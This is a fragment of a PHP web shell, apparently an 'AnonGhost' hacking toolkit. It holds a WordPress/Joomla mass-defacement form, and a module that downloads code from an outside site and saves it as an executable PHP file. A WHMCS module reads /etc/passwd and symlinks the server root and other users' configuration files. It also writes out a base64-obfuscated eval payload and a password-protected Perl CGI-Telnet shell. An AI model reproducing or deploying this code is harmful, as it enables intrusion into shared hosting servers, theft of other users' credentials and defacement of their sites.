Defaced urls</a><br />';if($count1+$count2 > 0){echo '<a href="'.$_SERVER['PHP_SELF'].'?pass='.$_GET['pass'].'&zh=1" target="_blank" id="zhso">Send to Zone-H</a>';}}echo $bencong.'<!DOCTYPE html><html><head><link href="http://fonts.googleapis.com/css?family=Ubuntu&font-effect-shadow-multiple" rel="stylesheet" type="text/css"><style type="text/css">.header {position:fixed;width:100%;top:0;background:#000;}.footer {position:fixed;width:100%;bottom:0;background:#000;}input[type="radio"]{margin-top: 0;}.td2 {border-left:1px solid red;border-radius: 2px 2px 2px 2px;}.even {background-color: rgba(25, 25, 25, 0.6);}.odd {background-color: rgba(102, 102, 102, 0.6);}textarea{background: rgba(0,0,0,0.6); color: white;}.green {color:#58FAF4;font-weight:bold;font-size:12px;}.red {color:#FF0000;font-weight:bold;font-size:12px;}</style><script type="text/javascript">function change() {if(document.getElementById('rcd').checked == true) {document.getElementById('tra').style.display = '';} else {document.getElementById('tra').style.display = 'none';}}function hide() {document.getElementById('tra').style.display = 'none';}</script></head><body><p class="font-effect-shadow-multiple" style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>Wordpress and Joomla Mass Defacer</b></p>';if(!isset($_POST['form_action']) && !isset($_GET['mode'])){echo '<center><p class="mybox" align="center"><form action="" method="post"><table><tr><td><input type="radio" value="1" name="mode" checked="checked" onclick="hide();"></td><td><font size="2">using /etc/named.conf ('.(is_readable('/etc/named.conf')?'</font><span class="green"><font size="2">READABLE</font></span>':'<span class="red"><font size="2">NOT READABLE</font></span>').')</td></tr><tr><td><input type="radio" value="2" name="mode" onclick="hide();"></td><td><font size="2">using /etc/passwd ('.(is_readable('/etc/passwd')?'</font><span class="green"><font size="2">READABLE</font></span>':'<span class="red"><font size="2">NOT READABLE</font></span>').')</td></tr><tr><td><input type="radio" value="2" name="mode" id="rcd" onclick="change();"></td><td><font size="2">manual copy of /etc/passwd</font></td></tr><tr id="tra" style="display: none;"><td></td><td><textarea cols="60" rows="10" name="man_data"></textarea></td></tr></table><br><input type="hidden" name="form_action" value="1"><table><tr><td><b><font size="2">index url: </font></b><input class="inputz" size="40" type="text" name="defpage" value=""></tr></td></table><input class="inputzbut" type="submit" value="Hajar!" name="Submit"></form></p></center>';}$milaf_el_index = $_POST['defpage'];if($_POST['form_action'] == 1) {if($_POST['mode']==1) { exec_mode_1($milaf_el_index); }if($_POST['mode']==2) { exec_mode_2($milaf_el_index); }if($_POST['mode']==3) { exec_mode_3($milaf_el_index); }}if($_GET['mode']==1) { exec_mode_1($milaf_el_index); }echo '</body></html>';}
  3148. ////////////////////// BASEDIR ////////////////////
  3149. elseif(isset($_GET['x']) && ($_GET['x'] == 'bbase'))
  3150. {
  3151. $bbase ='http://www.ppteo.es/wp-content/themes/calotropis/css/baby-blue.txt';
  3152. $file = fopen("bbase.php" ,"w+");
  3153. $write = fwrite ($file ,file_get_contents($bbase));
  3154. fclose($file);
  3155. chmod("bbase.php",0755);
  3156. echo"<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:white'>AnonGhost Open Basee_Dir Bypass</span><br><div class=content><iframe src=bbase.php width=75% height=60% frameborder=0></iframe>"; }
  3157. ////////////////////// WHMCS ////////////////////
  3158. elseif(isset($_GET['x']) && ($_GET['x'] == 'whme'))
  3159. {
  3160. echo"<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:white'>WHMCS Symlink Priv8 By Mauritania Attacker</span><br><div class=content>";
  3161. ?>
  3162. <center><img src="http://ben90.com/wp-content/uploads/2009/07/whmcs-logo.gif"></center><br><br>
  3163.  
  3164.  
  3165. <center>
  3166. <form method=post><font color=#58FAF4 size=2 face="Courier New">Get users (etc/passwd) To symlink WHMCS Configs</font><p>
  3167. <input type=submit name="whme" value="Extract usernames" /></form></center>
  3168. <?php
  3169. if(isset($_POST['whme'])){
  3170. ?><form method=post>
  3171. <textarea rows=10 cols=50 name=user><?php $users=file("/etc/passwd");
  3172. foreach($users as $user)
  3173. {
  3174. $str=explode(":",$user);
  3175. echo $str[0]."n";
  3176. }
  3177.  
  3178. ?></textarea><br><br>
  3179. <input type=submit name=su value="Symlink WHMCS" /></form>
  3180. <?php } ?>
  3181. <?php
  3182. error_reporting(0);
  3183. echo "<font color=#58FAF4 size=2 face="Courier New">";;
  3184. if(isset($_POST['su']))
  3185. {
  3186. mkdir('whmcs',0755);
  3187. $rr = " Options FollowSymLinks MultiViews Indexes ExecCGI n AddType application/x-httpd-cgi .pl n AddHandler cgi-script .pl n AddHandler cgi-script .pl";
  3188. $g = fopen('whmcs/.htaccess','w');
  3189. fwrite($g,$rr);
  3190. $whmcs = symlink("/","whmcs/root");
  3191. $rt="<a href=whmcs/root><font color=#ff0000 size=2 face="Courier New"> Whmcs Configs Bypassed Successfully</font></a><br>";
  3192. echo "<br>Check link given below for / folder symlink <br><b>$rt</b><br>";
  3193.  
  3194. mkdir('whmcs',0755);
  3195. $rr = " Safe_mode = OFF n Disable_functions = NONE n Open_basedir = OFF ";
  3196. $g = fopen('whmcs/php.ini','w');
  3197. fwrite($g,$rr);
  3198. $whmcs = symlink("/","whmcs/root");
  3199.  
  3200. fwrite($f,$r);
  3201. $consym="<a href=whmcs/><font color=#ff0000 size=2 face="Courier New">configuration files</font></a>";
  3202. echo "<br>The link given below is for Whmcs configs path symlink, If Any Errors Appears just try bypass with anonther .htaccess file <br><b><font color=#00FF00 size=2 face="comic sans ms">$consym</font></b>";
  3203.  
  3204. $usr=explode("n",$_POST['user']);
  3205. $configuration=array("member/configuration.txt","members/configuration.txt","configuration.txt","billing/configuration.txt","billings/configuration.txt","includes/dbconfig.txt","includes/config.txt","whmcs/configuration.txt","whmc/configuration.txt","support/configuration.txt","whm/configuration.txt","whmcs/configuration.txt","support/configuration.txt","whmc/WHM/configuration.txt","whm/WHMCS/configuration.txt","whm/WHMCS/config.txt","whm/whmcs/configuration.txt","whm/config.txt","clients/configuration.txt","client/configuration.txt","whmcs/config.txt","clientes/configuration.txt","cliente/configuration.txt","clientsupport/configuration.txt","supports/configuration.txt");
  3206. foreach($usr as $uss )
  3207. {
  3208. $us=trim($uss);
  3209.  
  3210. foreach($configuration as $c)
  3211. {
  3212. $rs="/home/".$us."/public_html/".$c;
  3213.  
  3214.  
  3215. $r="whmcs/".$us." .. ".$c;
  3216. symlink($rs,$r);
  3217.  
  3218. }
  3219.  
  3220. }
  3221.  
  3222.  
  3223. }}
  3224. ////////////////////// APACHE ////////////////////
  3225. elseif(isset($_GET['x']) && ($_GET['x'] == 'apache'))
  3226. {
  3227. $apngi = 'PD9waHAgLy8tLSByZWNvZGVjIGJ5IEFub25HaG9zdCAtLS8vIA0KcHJlZ19yZXBsYWNlKCIvLiovZSIsIlx4NjVceDc2XHg2MVx4NkNceDI4XHg2N1x4N0FceDY5XHg2RVx4NjZceDZDXHg2MVx4NzRceDY1XHgyOFx4NjJceDYxXHg3M1x4NjVceDM2XHgzNFx4NUZceDY0XHg2NVx4NjNceDZGXHg2NFx4NjVceDI4J2xadkxydVM0RVVUM0J2d1BqY1lzN00yZ0pMNnFNUENmYUtONnJidzIrdk5kREo1ZzhsNGJBOHlpMExkVWtraG1Sa1pHSnRtLy9YcThIODhmUDM3LzE0K2Z4NjkyK1h6MjQxY3RuMDg3ZnBWM2ZPKy8xY2ZuczMwK2FWemJyNS9QNS9mOWM5LysrbnpPOGJkKzY5Y2Y0OS95K2JkOTdrMzE4eW5MOXphdWZmbDkrL285cCtYNzUxM3ArdTMrOXZWOStkdno2ZmJ0ZmVYYjcvVlB4dnMrbno3Zi9DZnIrWC96Kzc3KzcrLzdQdDc2dnZSdGZ1bmIrSjk3ODNmNy9kbjg2ditPOTVlZVozMzdaOTd0NCt2eStiMStydVhQdGZ4NXJ2VjNYd2RHU3YvdTlmZmYzMlBzanFIdW8rNkhmazNmUDlpcE42N2hrd3lPNm4zNE1IM3dWeGl6Yk10dlpkemY1OUZ0Mi9GWEx2emU1L0NaYTMyTmY4dHRQSnZBZDdzeHQ4Y1lvMk05MzJPc3ZvNmQ4ZnRhOU00eXh1bjM5bkgwMnpuZW9kL1RlS1pmNjMrM1RIemNpYW5Mc0dHL0xuLzI4ZmN4bDNiR3ZjTHREWHUveC9yNkd2bzQvYnZlY1J0enpPZFlvM3hYK1QwelZtV01zc1R4aTdYWE1WWitqbi9senhmMjMvbXREUC8yOXpYczI5ZlY1NjQxM3NOSDRvZUtQNWxIOTZQOHhUdzZMdnAzWTBOMjYrODh4eGlWT1dsOWUxeTNIZlRPL3R5TmRlSVhQYk54MzMwWkk4VjhTb0VqY256WCt6ZmlFcXpJYm1WOEY1NkpnLzZzNTFTTXU1UHgrdnFmK0F6YmRoLzNqK3pWd0VvZVdPOXp6dUJQMTl1d2RRTnJmUjM5M1hPdGR6RFVzVlhDSnBwUEd0ZktQdWFjNGVlTzR3cU85SzQ2ZnUvamRiL2t4WCtLZ3hmeGVuSmZZMjBuZnUyK1RDTitOZTQ3TUZ5dnczWWRTOExYemx5SnUvN3ViRnllQTRlSzAvdDRUMkd1NHBNeXNDWnNZOWZkNjRhRGRiMk5hOExRYlhEVTVCeHMzMjBpZjVDL3pFZDlQUnBqaDJ1dVkwNjVqVTh4OTZaaEorRWVUdXNmOGRCbGpDTk1iandIN2lzMjY3YW94S2Z3Q2o3NjM0MTcrenU2M1RUV0Uxd1VjQWNuWjN5U1cxd3p2OWpmbVh5ZGVWL240MjRUeDJmL3J2VytpRzN3MWNDZ2N1Y0pic0N2Y0hFUFhoVE95dkJaQmtjSjNpeHdVdjllc1VVeTc1N010V0NyNTRoUmpRa0hpajladS9BREo0dkQzekdYQnRmM01hcjV0NHgzRk9KYm1DUVd0SjZOR0V2TTd3a0hNNWJ3ZmgzMjdiOVYzcC9oaEQ1UDVTcndwdmZmbHB6U1ltNTlQdDJtZlIzZDFsb244Ky8yMDNxY084bVZHWTdlaVJuWllpTnU3MkExQmZibDV5ZXhpQi83T29VcjNpOE93cDRaWHBhKzRhTjFuc3c1Z1MzN0tJMDVpY091WUQ5eHY3VUEvQ0FjZ0N0eE9ibElzZjBjOTRrL25HK2Y1UG5Hdk1pZGZkNEpPL2YzTk40clgyRmYvZjVDeDRHbGRJdjhwUmpPNHgxOW5obHVyZVFValdNZFdPR0VDaWM4MEZUYjRBM1pmb01MOW1FVHJSMmVrUCtabDlaZDhUMjQwTFBiNEltTTdicFByUyswL2h1NTFUd0VyM1picDF2NFh4eVQ0VUJ5cmRZSkJ3dFhWM0pRd1o5b3BJcXVGWjd4WDk2Q2oyd3JjWlBqY1J0cmxsM0w4Tm5VdjhaVnduZXY0RDNqVzJ0K0x1dDRIcUgxbmhFWGZhekpPV2s4TjdUU3p6LysvcmZmZmowZnBibys2ZXZ0OWxZc09GK1p4Ky9FeTMxZ0lMWGdUUE56bjV2bW1zZXo0akx6Q0R3cHY3OTQvem5lTGJ3OGVRNmRhaDFaOXRCQnlldEdPeGhiMGdsYjJDSTdOblpzZTVMSDBBL0ZhMHJNNlliK3lHQS9NNzk3Y0hReEI4QmxpZ1B1YmRoQk9RSzdTQXZjSXIvcjl3UnU4V3UyUnJ1UDhmcGMrL3JNeDRvYmRHNngvcy9qV2YyYjBhajMwRFROZXBLL0UvbEh0V2RlZUFJYkZHdldGaGpNNkg2TmN4MTJiUGhYZkFUM2RVeVp6M1NkOTR1YjRmV0U5cFkyM2NudjFHWEtvOWl5cjFINWxUeVMwRklWKzFaemZTTy9FT2ZTQ25DenNKL0lOOWJ0aGZsYkcrOW9vd3hYYmNlc2phcjEyaGFheUxwTzg4ZWZsV2NTdUtuVzNCZHk3dzdYcDhVWDFEcXJUWm8xczNYckd5NUhkenBIbUZmTXI0cFQ3aS9VbURVRnY0b0w5bU5xeHJMVWZOSjE3OUNmTlFjZU5aZUNacTVoODdhc1J4eFZ3c2Z5bDdrWWZXak5hVjBtVEtESHErdWVCL1k2RnkxcHZiRkZ2VkhRcS9VUmE5WjRWM2pVZml0b1BialRkYzcweVJYNzNvS2JLMXBhL0dTdEMwNnljVU1kMjZ4cnFKSDZHck54Y0NIUGtKZWE2NDBWQytnWWNURzZyb0JWNXhIeFFEdG12WnJKdHhxRGV0RDV3WG9tdjVjY2FidzVwbDA3cFpoYlgxdXk1bHB5bVd3QkJ6YlhiTXQ3N2R0RVRXSGVrYVlqL3pWc2IwMlgwUGJGV0VGenUrNW80RWxqdi9GMURYMGgrMU5uVjl2RE1ReE8zQXVSVGlZK0VyNlM3eC9oaTRJK3FwNTdqcHhvZldHOVc2bFBLdjBXYWFyRTd3djNxdDl6a252dlIvUmEwckNCTlozck1uTjZkcTF3anp5VFhRODhodzBMdUN6b3VHWnNMWFoyanBRR3dPYkZtbjBIUzlSa21odnhZdnRMYjU1TG5CbEhEL0lZK2t4NW01Z1M3MjlMUGlHM3pibVNDMVRQcDNGTk5uSWRTcnk2SHlRc29pOHo2eEJtRWo2eG5rRER1YVlxMUVMQ3RIVUdHckhBdWJMeE9lYmhYQ3g5ZUJ0cjNORnZ4b0JpM0ZxY2VRc1BlMmpOUkYrcVloZGpTcHJ3VG56ZnlPbk9iZWlKNHBvRGZaeko4NGxZTms5bDE5QVpqS2ZRajQxYXl2VlNzdjcxYjJBcEU5TUZIUzA5M29LSFM0cTRxdWp5V1JPUlkyY1A2cnBvVGZDcVBPcGFsQnBadkVBOTdmcWxMYkd1T1dFWDI4WjlKYTJmR3E5ZXcrYloyRUg3MUJxeHBMaGxuZ1grS3ZpNnZoZU9KbWRLYTRJMTJXbUx1QzNZMmpXcmF6NzNkZDJieTl5bmVMdkV1bDN6Qy9ldXRjN0lEOFpoWS8wemw5cW02Wmc5VmZjeGkzdVlKMWh3RFExM1ZmS3ZlY3o5cDByUFpyNm5NamRxTVdrbi9xM2tFdGRNMGpQMGdxd1haQ2ZyemVzeGUzcnlBYldtYlpPdlMrL1E5Wk56aW5zTzUvaDNhcWlHYjVxMStLaFAzdWY1WHZkUGpHZjNmZFNuYzN6Qm5ZWCt4RnA3WkRTUjV5MGNKZlJMUG1hZkljTWZ3bUVKWGhHZm9GVTlYbVU5c3ovcC9nV2NaNjJtMkx3R1AyVnF5M3lQbkRUNTNsekd2OExmVGw2N0RUdkxsOFpmQ3Qyd28rOGFmR25NWjdTdXRBRXhxTnB5SjEvUTA1VXQ0ZTFDWDBPNUZpd2sxMzN2d0h1aGQ1SE5nNVY1b2VGS1htTE5OVFg2Vm42ZzFrendVQ0VIVzA5NnIyenFOM2paT2w5eDhDUlhVUitiMTZyN1ZPZ3g5KzZjVzRSSjE1ZU1JUzBNWDJoTmFJRmNGeCs5dWYvTnVPYnlWK0M0R1NOZ1F0cVVIcXIzZFdTWGpUV1o1OUdMczY1aFRQR28rUm03NVhmc1JTaUczb0hqZG92OHF4NFJXa2oza2dlY2Y1cDFQR3ZMNUMvWHlPNFRhUzQ3M01JY3JaRmM0MXBqdUs2Y09kYWFueDVoaFZPMWx0ZXdsZnhKM3lLakZRc3hLTnlRczRWNTZwRkdQTGxlTXc5WlcxdTdxRzl5a3ZkZGF5VHd4N2l6aG4yUUEwL2lsQnlZZUcvaUh0dGY4MzZPWndvWXkvU1dHbjdLMU82eWs2K2hrNzN2bTl3SE5FODZQNXpCb1RNbkozQkVucXpnT05GVGRUL2RQZUxaSzRRREN2bFMrdWdSK1VjYW5UaVdEYTI5eUdIT244bzliL3l6dzlrbGNGRGh3V3BOL0VJekxKckh2Uk54QnIyR1pQMzdKdmFmMkI3T3pzNlQ5aFY0THZEc2x6NmZhL2hsLzhSNXA3VFE3NVd4WnYzSVdsM2ZLSi9Ranl2bW1RYWV6QTJ2WTlhbXM3YW5ueVJNbjR1K1F0ZTREOWFzemZiUVJJVjN6QnhMZmVtZXZPdDI5OGxjSDdqZlU4ZzEzbThTcG9qZFltMVR3U2U5QUdtK05MaENmYWd0MWo1N2V6VjArOVN5L04ySUozTk1Xdnc1ZTAzRWdjWTFMN3YvUWo3Mm50ejA1UXZza2hPc1Zacno0RnB2N010YTNDK2gxbXJnV1h0TExmQTNlODVvdFhTSnZkbEdUNis2ZjczcXZocFluWG1GL3JqckhlbU9XOWl0V1FlZ2w2MjVwTzJZZTBPVEZuU1dlSG9QamplL1ptSkN6NXBYNGFIcTJ2QWFuSmJvWDN0Znkvc2cxamJKK0Vsb0xmT1Y0OWExZU1aZTlmaTZEK3c4OUFvL05YeGE0ZDRHYjAwL3VDWjNiOEQ5bEdYOTRvdEw1SFg5ZGpsbXYyckdPWG12V0VkaU81OWhLR2dkeFNwcmNROWVZNElaNGU1RmZnQUh4cUZyM3VvNjVSVzUybHJaOVZJMWw3cW12S0F4M09QaFBhb3J5YitGV2tyeFpvM3Zlczg0WFBxVkNYNVdyR003NXlISFM4cWhqYnhuYnEyZG1YOTJqOGxZWXk4eU8wOWJ4MWJpWlR1bXZ2VityWE5EZ212Y0wrdno5ZDVGWGZLMzVtWU5ZTDUwVEtCWDh5dDBvbUtLM2tpanY1TEJzakM1bzhQTjdhNnJkK0x3Z1o5TDVNUk1yM1B1STk3aFNPeVk2Uy9NUFdqNkRvMzZaTHZXV1ora1MzQ1Z0WS9QeWV6a1FlODFtOVBWbHoreDVibmtqeE5kUkMyWno4QlpoYWZuMllSMnpQMEV4ZXRKVG5xU003eCs5S3J6bk9LRk9uK2UwOEd2UG8rVHdhRDNOTzJ6MlhkeTdVWWRKWjRtVDg1Y2RHSTM4R1l1bXpFRHQvcE1RQ0pINkpwMTZ1T1krd2dKREl1WHJPM3NPMm9tbjV0eXZ6RTVIdUFvOTV4OTVrZ2NEMGU1ZHAzNzJ1ZWlyY2gzM3R0M1RFeE96c2M4WnlKZmNPWXYweWQxRDJYVzEraEsyZjIyM0VlY094K1lINlE3bVVObERkNTc4NWgrcGxHVEt1K3l2bVE5VGQxZ3JTWjh2OGhuem90Z1MxeTdSZjd4ZGUvamF1N3Z3Ri9Pa1dlbXhseDhMbTFKenAxN29OZEZqMjM0TTBXT1NLNkg0Y2FaeTl3UGRTM28rbWcvNXRrajd6TjVuOWU4bXB6Zlg5anNQR2E5NXA2YiswN21YTmZOazZzeTkxbkhFTVBpcWVjUmU0MnVrK25sVnRhVnpjblcxdkNEbmp1UE9NZEIvNzJnVjN6ZWErcmxObXp0T3Q1N2FmTU15eE9iTko1L1JCNFRCbmQwSG4wVDg3VXgzY2pKeWxkbmpPbCt3OXdqY2gva1BMNmN4WkkvcWRObHV4UC91amRaZ3ArYWVZbDZSenhLRDB4emhzdUU1UlIrY00zb251YlVwT2lIOVN6SWwxeUJIVlhIN3NUQ2ZUbm5kb2E5cG4vUU8rS3c3V3N1bmJwZ1A2WXVGNmVBYS9mTUc3bkk0M29mMVgzQmpKMjhYK005cXNJNmludU1qMk9lazZ6MzZCVklGOEREUHNjNDh3bDZQS09Mc3ZXNDlUSWFvb0pseDNVR0k5N2JxcXdyZ1ZIM2NtZXZIQXpNTTU2dlkrNW5DQ2YwZmhTWGFQbUV4bk45SUcxWHdDbTJNTzhWY3FMUGFjMnpRK2lGekJybW1TWDNScytGdCtqVlpEZ2drNE9sTXh2OHRmWkx5Qm4ycjgrVnVTOWR3ZmpjNDd3Zjg2eXljcTkxK25iTXMwL2V1L0tabVhsK0VPeGFtODIreXlYT3Rvbno2VnRWYWx1ZnQ1RE9TTVQxZGZ5ZHlSTU5IZTd6dmNWOVpHS2lvUVdTZS8vVVdONHJ5ZVpTZEpnMWlmdGRQdHVxT0tjM2JlMnhVeHQ5T1VOeFczQm9Ic2Z2N3MwWDhEdjdGTzJZK3crem4zazdZaC91aER2ZXg5eGoxOXFwQ2FiK1lCMEpmaW53alRHODN5TnZGSFIrODU0Uk1WMTh2dkVkZm11T0J6aGYyS1pub0wwak1EUmp2c1paWnR2Y2ZRN3BWdXFQWk8zeVJtZlZwZDdCbjg1eGlkcFN1Q1QyTXZsVmNaR09PSWZ5NFA0bnZPSCtodU9UR0o1N2wvanJPeWY3VE9zOGEwN2VkeDBxcnNSVzNyOTAzMHErb3QvYnlCOEpuYXc4UVE1cStOWTlPWjlGcitSODhlMGxOR0ppRHMzN1FmQjBJZ2NsNTl6N3dFNkJDd3AxaTlaRTNWcHQvMWVjRnkvWCtMdFNveVowZFQvVC8rV2MvKzB2ZkFmYjYvLzUwS2V2NC83emo5ZC96bi8vNDdmeFgwMSsvOEdacnY2SE5rLzZINzFLK2VjZi93VT0nXHgyOVx4MjlceDI5XHgzQiIsIiIpOw0KPz4=';
  3228. $file = fopen("apngi.php" ,"w+");
  3229. $write = fwrite ($file ,base64_decode($apngi));
  3230. fclose($file);
  3231. chmod("apngi.php",0755);
  3232. echo"<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:white'>AnonGhost Bypass LiteSpeed - Apache - Nginx</span><br><div class=content> <iframe src=apngi.php width=80% height=70% frameborder=0></iframe>"; }
  3233. /////////////////////// CGI TELNET ////////////////////////
  3234. elseif(isset($_GET['x']) && ($_GET['x'] == 'cgi'))
  3235. {
  3236. $agcgi14 = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQp1c2UgTUlNRTo6QmFzZTY0Ow0KJFZlcnNpb249ICJDR0ktVGVsbmV0IFZlcnNpb24gMS40IjsNCiRFZGl0UGVyc2lvbj0iQW5vbkdob3N0IjsNCg0KJFBhc3N3b3JkID0gInZpcnVzYSI7CQkJIyBDaGFuZ2UgdGhpcy4gWW91IHdpbGwgbmVlZCB0byBlbnRlciB0aGlzDQoJCQkJIyB0byBsb2dpbi4NCnN1YiBJc19XaW4oKXsNCgkkb3MgPSAmdHJpbSgkRU5WeyJTRVJWRVJfU09GVFdBUkUifSk7DQoJaWYoJG9zID1+IG0vd2luL2kpew0KCQlyZXR1cm4gMTsNCgl9ZWxzZXsNCgkJcmV0dXJuIDA7DQoJfQ0KfQ0KJFdpbk5UID0gJklzX1dpbigpOwkJCSMgWW91IG5lZWQgdG8gY2hhbmdlIHRoZSB2YWx1ZSBvZiB0aGlzIHRvIDEgaWYNCgkJCQkJIyB5b3UncmUgcnVubmluZyB0aGlzIHNjcmlwdCBvbiBhIFdpbmRvd3MgTlQNCgkJCQkJIyBtYWNoaW5lLiBJZiB5b3UncmUgcnVubmluZyBpdCBvbiBVbml4LCB5b3UNCgkJCQkJIyBjYW4gbGVhdmUgdGhlIHZhbHVlIGFzIGl0IGlzLg0KDQokTlRDbWRTZXAgPSAiJiI7CQkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFuZHMNCgkJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBXaW5kb3dzIE5ULg0KDQokVW5peENtZFNlcCA9ICI7IjsJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcw0KCQkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFVuaXguDQoNCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTA7CQkjIFRpbWUgaW4gc2Vjb25kcyBhZnRlciBjb21tYW5kcyB3aWxsIGJlIGtpbGxlZA0KCQkJCQkjIERvbid0IHNldCB0aGlzIHRvIGEgdmVyeSBsYXJnZSB2YWx1ZS4gVGhpcyBpcw0KCQkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0DQoJCQkJCSMgdGFrZSB2ZXJ5IGxvbmcgdG8gZXhlY3V0ZSwgbGlrZSAiZmluZCAvIi4NCgkJCQkJIyBUaGlzIGlzIHZhbGlkIG9ubHkgb24gVW5peCBzZXJ2ZXJzLiBJdCBpcw0KCQkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4NCg0KJFNob3dEeW5hbWljT3V0cHV0ID0gMTsJCQkjIElmIHRoaXMgaXMgMSwgdGhlbiBkYXRhIGlzIHNlbnQgdG8gdGhlDQoJCQkJCSMgYnJvd3NlciBhcyBzb29uIGFzIGl0IGlzIG91dHB1dCwgb3RoZXJ3aXNlDQoJCQkJCSMgaXQgaXMgYnVmZmVyZWQgYW5kIHNlbmQgd2hlbiB0aGUgY29tbWFuZA0KCQkJCQkjIGNvbXBsZXRlcy4gVGhpcyBpcyB1c2VmdWwgZm9yIGNvbW1hbmRzIGxpa2UNCgkJCQkJIyBwaW5nLCBzbyB0aGF0IHlvdSBjYW4gc2VlIHRoZSBvdXRwdXQgYXMgaXQNCgkJCQkJIyBpcyBiZWluZyBnZW5lcmF0ZWQuDQoNCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISENCg0KJENtZFNlcCA9ICgkV2luTlQgPyAkTlRDbWRTZXAgOiAkVW5peENtZFNlcCk7DQokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7DQokUGF0aFNlcCA9ICgkV2luTlQgPyAiXFwiIDogIi8iKTsNCiRSZWRpcmVjdG9yID0gKCRXaW5OVCA/ICIgMj4mMSAxPiYyIiA6ICIgMT4mMSAyPiYxIik7DQokY29scz0gMTMwOw0KJHJvd3M9IDI2Ow0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBSZWFkcyB0aGUgaW5wdXQgc2VudCBieSB0aGUgYnJvd3NlciBhbmQgcGFyc2VzIHRoZSBpbnB1dCB2YXJpYWJsZXMuIEl0DQojIHBhcnNlcyBHRVQsIFBPU1QgYW5kIG11bHRpcGFydC9mb3JtLWRhdGEgdGhhdCBpcyB1c2VkIGZvciB1cGxvYWRpbmcgZmlsZXMuDQojIFRoZSBmaWxlbmFtZSBpcyBzdG9yZWQgaW4gJGlueydmJ30gYW5kIHRoZSBkYXRhIGlzIHN0b3JlZCBpbiAkaW57J2ZpbGVkYXRhJ30uDQojIE90aGVyIHZhcmlhYmxlcyBjYW4gYmUgYWNjZXNzZWQgdXNpbmcgJGlueyd2YXInfSwgd2hlcmUgdmFyIGlzIHRoZSBuYW1lIG9mDQojIHRoZSB2YXJpYWJsZS4gTm90ZTogTW9zdCBvZiB0aGUgY29kZSBpbiB0aGlzIGZ1bmN0aW9uIGlzIHRha2VuIGZyb20gb3RoZXIgQ0dJDQojIHNjcmlwdHMuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUmVhZFBhcnNlIA0Kew0KCWxvY2FsICgqaW4pID0gQF8gaWYgQF87DQoJbG9jYWwgKCRpLCAkbG9jLCAka2V5LCAkdmFsKTsNCgkkTXVsdGlwYXJ0Rm9ybURhdGEgPSAkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLzsNCglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQ0KCXsNCgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307DQoJfQ0KCWVsc2lmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIlBPU1QiKQ0KCXsNCgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOw0KCQlyZWFkKFNURElOLCAkaW4sICRFTlZ7J0NPTlRFTlRfTEVOR1RIJ30pOw0KCX0NCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhDQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC8pDQoJew0KCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IA0KCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyANCgkJJEhlYWRlckJvZHkgPSAkbGlzdFsxXTsNCgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOw0KCQkkSGVhZGVyID0gJGA7DQoJCSRCb2R5ID0gJCc7DQogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlDQoJCSRpbnsnZmlsZWRhdGEnfSA9ICRCb2R5Ow0KCQkkSGVhZGVyID1+IC9maWxlbmFtZT1cIiguKylcIi87IA0KCQkkaW57J2YnfSA9ICQxOyANCgkJJGlueydmJ30gPX4gcy9cIi8vZzsNCgkJJGlueydmJ30gPX4gcy9ccy8vZzsNCg0KCQkjIHBhcnNlIHRyYWlsZXINCgkJZm9yKCRpPTI7ICRsaXN0WyRpXTsgJGkrKykNCgkJeyANCgkJCSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOw0KCQkJJGxpc3RbJGldID1+IC9cIihcdyspXCIvOw0KCQkJJGtleSA9ICQxOw0KCQkJJHZhbCA9ICQnOw0KCQkJJHZhbCA9fiBzLyheKFxyXG5cclxufFxuXG4pKXwoXHJcbiR8XG4kKS8vZzsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gPSAkdmFsOyANCgkJfQ0KCX0NCgllbHNlICMgc3RhbmRhcmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkNCgl7DQoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsNC